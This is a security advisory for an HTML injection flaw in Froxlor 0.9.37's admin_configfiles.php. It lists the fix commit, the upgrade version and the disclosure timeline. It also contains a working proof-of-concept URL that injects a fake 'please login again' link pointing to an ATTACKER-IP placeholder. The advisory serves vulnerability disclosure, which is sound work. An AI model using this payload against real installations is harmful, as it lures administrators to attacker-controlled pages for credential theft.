[+] Credits: John Page (aka HyP3rlinX)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/FROXLOR-0.9.37-HTML-INJECTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
==============
www.froxlor.org



Product:
=============
Froxlor 0.9.37



Vulnerability Type:
===================
HTML Injection



CVE Reference:
==============
N/A



Security Issue:
================
Froxlor has an HTML Injection vulnerability that can be leveraged by attackers to point users to a malicious webpage.
The injection will show error and ask victim to login again (to the real Froxlor) but they will end up at attackers controlled webpage.
Issue is in the config-template parameters of admin_configfiles.php.



References:
===========
https://github.com/Froxlor/Froxlor/commit/148b2fc1beaf379a49064732365155647c0167e3

should upgrade to latest version 0.9.38.8


Exploit/POC:
=============

Create link, It will go to the real Froxlor login screen then take victim to malicious link leading to attacker controlled webpage.

http://VICTIM-IP/froxlor/admin_configfiles.php?s=&page=configfiles&distribution=jessie&service=http&daemon=<a+href%3D'http%3A%2F%2FATTACKER-IP'>Froxlor error: please login again.<%2Fa><!--




Network Access:
===============
Remote




Severity:
=========
Low



Disclosure Timeline:
=============================
Vendor Notification:  December 26, 2017
Vendor fixed and release new version: December 27, 2017
January 2, 2018  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx